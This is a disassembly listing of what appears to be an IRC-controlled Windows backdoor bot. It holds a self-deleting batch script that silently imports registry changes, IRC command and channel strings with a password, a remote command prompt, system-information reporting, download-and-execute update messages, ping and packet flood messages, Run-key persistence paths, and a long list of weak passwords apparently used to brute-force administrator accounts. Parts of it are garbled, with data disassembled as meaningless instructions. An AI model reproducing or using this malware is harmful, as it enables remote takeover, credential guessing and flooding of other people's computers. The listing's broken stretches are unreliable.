db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 4
unk_4251DC db 2 ; DATA XREF: sub_407F67:loc_408026o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 10h
unk_425220 db 2 ; DATA XREF: sub_407F67:loc_407FF4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_425264 db 2 ; DATA XREF: sub_407F67:loc_407FC0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 4
unk_42529C db 2 ; DATA XREF: sub_407F67+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 10h
unk_4252E0 db 2 ; DATA XREF: sub_4080EB+13Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 10h
unk_425320 db 2 ; DATA XREF: sub_4080EB+6Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 4
dword_42535C dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: .nsp0:0040843Do
dd 2029206Ch, 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_42539C dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: .nsp0:00408305o
dd 2029206Ch, 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_4084F5+33o
dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42542C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: .nsp0:0040868Bo
dd 2029206Ch, 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_425468 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: .nsp0:loc_408662o
dd 2029206Ch, 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 4
dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 4
dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_408886+52o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: .nsp0:00408B38o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4089A5:loc_408B09o
align 4
word_425638 dw 3Fh ; DATA XREF: sub_4089A5:loc_408AA7r
; sub_409703+1Fo
align 4
dword_42563C dd 28207325h, 297325hdword_425644 dd 3F3F3Fh ; .nsp0:loc_410FE6o
a2003 db '2003',0 ; DATA XREF: sub_4089A5+BAo
; .nsp0:00425E4Co ...
align 10h
aXp db 'XP',0 ; DATA XREF: sub_4089A5+AAo
; .nsp0:00410FD1o
align 4
a2k db '2K',0 ; DATA XREF: sub_4089A5+98o
; .nsp0:00410FC1o
align 4
aMe db 'ME',0 ; DATA XREF: sub_4089A5+7Eo
; .nsp0:00410FA8o
align 4
a98 db '98',0 ; DATA XREF: sub_4089A5+6Co
; .nsp0:00410F98o
align 10h
aNt db 'NT',0 ; DATA XREF: sub_4089A5+5Ao
; .nsp0:00410F88o
align 4
a95 db '95',0 ; DATA XREF: sub_4089A5+46o
; .nsp0:00410F7Ao
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_408C59+ABo
align 4
off_4256A8 dd offset off_412F4C+2 ; DATA XREF: sub_408C59:loc_408CCDo
dword_4256AC dd 4E414Ch dword_4256B0 dd 6C616944h, 70752Dhdword_4256B8 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_4256C8 dd 202E6425h, 3D207325h, 732520hdword_4256D4 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_408E17+60o
align 4
dword_425708 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_408EB7+1Ao
dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_425740 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_408EF7+DCo
dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh
dd 2E657465h, 0
dword_425770 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_408EF7+3Fo
dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h, 0
dword_425798 dd 78h align 10h
dword_4257A0 dd 80000002h, 425C24h, 80000002h, 425C54h, 80000001h, 425C8Ch
; DATA XREF: sub_409026+7o
unk_4257B8 db 2 ; DATA XREF: sub_409026+63o
; .nsp0:004095EEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_4257F8 db 2 ; DATA XREF: .nsp0:004095E0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
unk_425844 db 2 ; DATA XREF: .nsp0:00409524o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_425898 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
; DATA XREF: .nsp0:004094B3o
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h
dd 25203A64h, 2E73h
aOpen db 'open',0 ; DATA XREF: .nsp0:00409491o
; .nsp0:0040C959o ...
align 10h
unk_4258D0 db 2 ; DATA XREF: .nsp0:0040943Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_42591C db 2 ; DATA XREF: .nsp0:004093BDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_425958 db 2 ; DATA XREF: .nsp0:00409333o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 10h
unk_4259A0 db 2 ; DATA XREF: .nsp0:004092F0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_4259E4 db 2 ; DATA XREF: .nsp0:004092DEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 10h
unk_425A30 db 2 ; DATA XREF: .nsp0:004091D2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_409703:loc_409746o
; sub_4102CC+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_409703:loc_409740o
aDisk db 'Disk',0 ; DATA XREF: sub_409703:loc_40973Ao
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_409703:loc_409734o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_409703:loc_40972Eo
align 4
aRam db 'RAM',0 ; DATA XREF: sub_409703:loc_409728o
aFailed db 'failed',0 ; DATA XREF: sub_409794:loc_40986Co
; sub_4098AF+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_409794+6Bo
align 4
dword_425AA8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_4098AF+8Eo
dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
dword_425AF8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_4098AF+58o
dd 2029206Ch, 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_0 db 'A:\',0 ; DATA XREF: sub_409981:loc_4099C6o
dword_425B4C dd 1A0Bh ; .nsp0:00409FC6r
dword_425B50 dd 1A0Bh dd 1AA6h
dword_425B58 dd 0CCEh dword_425B5C dd 158Dh ; .nsp0:loc_40ED0Er
dword_425B60 dd 1 dword_425B64 dd 1 dword_425B68 dd 1 ; .nsp0:loc_409E2Ar
byte_425B6C db 78h ; DATA XREF: .nsp0:loc_409659r
; .nsp0:0040A9EDr ...
align 10h
dword_425B70 dd 9 ; sub_410D6D+51r ...
dword_425B74 dd 1 ; .nsp0:0040A5B5r ...
aIds4473 db 'ids4473',0 ; DATA XREF: .nsp0:00409B58o
; .nsp0:0040DC33o ...
aEnz9_9b34 db 'enz 9.9b34',0 ; DATA XREF: .nsp0:loc_40F67Co
align 4
aHi db 'hi',0 ; DATA XREF: .nsp0:0040F826o
; .nsp0:0040F8F5o
align 10h
a1068346466 db '1068346466',0 ; DATA XREF: .nsp0:00409EFEo
; .nsp0:00409FB7o
align 4
aCc db '#cc',0 ; DATA XREF: .nsp0:00409F1Fo
; .nsp0:00409FCDo
aDcpass db 'dcpass',0 ; DATA XREF: .nsp0:00409F36o
; .nsp0:00409FDFo
align 4
byte_425BA8 db 31h ; DATA XREF: .nsp0:loc_409FF5r
; .nsp0:0040A003o
a068346466 db '068346466',0
align 4
aCc_0 db '#cc',0 ; DATA XREF: .nsp0:0040A019o
aDcpass_0 db 'dcpass',0 ; DATA XREF: .nsp0:0040A02Bo
align 10h
byte_425BC0 db 54h ; CODE XREF: .nsp0:loc_409CCDp
; DATA XREF: sub_4032B0+3Eo ...
db 69h, 6Ch, 65h
dd 2E737973h, 6D6F63h
dword_425BCC dd 656C6954h, 2E737973h, 6C6C64hdword_425BD8 dd 69706F54h, 69542063h, 7973656Ch, 73hdword_425BE8 dd 2D495Ah, 656C6954h, 2E737973h, 6D6F63hdword_425BF8 dd 692B782Bh, 0 dword_425C00 dd 697A23h ; .nsp0:0040EA74o ...
dword_425C04 dd 737323h dword_425C08 dd 737323h, 30303837h, 31h, 2 dup(6673h)off_425C1C dd offset a@room ; DATA XREF: .nsp0:loc_40F870o
; "*@room"
off_425C20 dd offset aMirc1_6_99 ; DATA XREF: .nsp0:0040AB66r
; .nsp0:0040F88Co
; "mirc 1.6.99"
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41135F+28o
; .nsp0:004116ABo
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41135F+D4o
; .nsp0:00411757o
align 4
dd offset aAdministrator ; "Administrator"
; ---------------------------------------------------------------------------
push esp
retf
; ---------------------------------------------------------------------------
inc edx
add [ebx+ecx*8+42h], al
add [ebx+ecx*8], dh
inc edx
add [eax], ch
retf
; ---------------------------------------------------------------------------
inc edx
add [eax], ah
retf
; ---------------------------------------------------------------------------
inc edx
add [eax], bl
retf
; ---------------------------------------------------------------------------
inc edx
add [eax], dl
retf
; ---------------------------------------------------------------------------
inc edx
add [eax], cl
retf
; ---------------------------------------------------------------------------
inc edx
add ah, bh
retf 42h
; ---------------------------------------------------------------------------
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
; ---------------------------------------------------------------------------
fmul st, st(2)
inc edx
add al, dl
retf 42h
; ---------------------------------------------------------------------------
enter 42CAh, 0
mov esp, 0B80042CAh
retf 42h
; ---------------------------------------------------------------------------
dd offset aOracle ; "oracle"
; ---------------------------------------------------------------------------
lodsb
retf 42h
; ---------------------------------------------------------------------------
movsb
retf 42h
; ---------------------------------------------------------------------------
pushf
retf 42h
; ---------------------------------------------------------------------------
xchg eax, esp
retf 42h
; ---------------------------------------------------------------------------
dd offset aAdmin_1 ; "admin!"
dd offset aAdmin_0 ; "$admin"
dd offset aAdministrattor ; "Administrattor$"
; ---------------------------------------------------------------------------
push 580042CAh
retf 42h
; ---------------------------------------------------------------------------
align 10h
or [edi], ah
inc ebx
add [eax-36h], cl
inc edx
add [ebx+ecx*8+42h], ah
add [ebx+ecx*8+42h], dl
add [eax-36h], al
inc edx
add [edx+ecx*8], bh
inc edx
add [edx+ecx*8], dh
inc edx
add [edx+ecx*8], ch
inc edx
add [eax], cl
retf
; ---------------------------------------------------------------------------
inc edx
add [edx+ecx*8], ah
inc edx
add [eax], bl
retf 42h
; ---------------------------------------------------------------------------
adc dl, cl
inc edx
add [eax], cl
retf 42h
; ---------------------------------------------------------------------------
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem ; "SYSTEM"
dd offset aServer_0 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
; ---------------------------------------------------------------------------
cld
enter 42h, 0F0h
enter 42h, 0E4h
enter 42h, 0DCh
enter 42h, 0D4h
enter 42h, 0BCh
retf 42h
; ---------------------------------------------------------------------------
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
; ---------------------------------------------------------------------------
mov al, 0CAh
inc edx
add [eax+ecx*8-374BFFBEh], bh
inc edx
add ah, bh
retf 42h
; ---------------------------------------------------------------------------
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex_0 ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_1 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
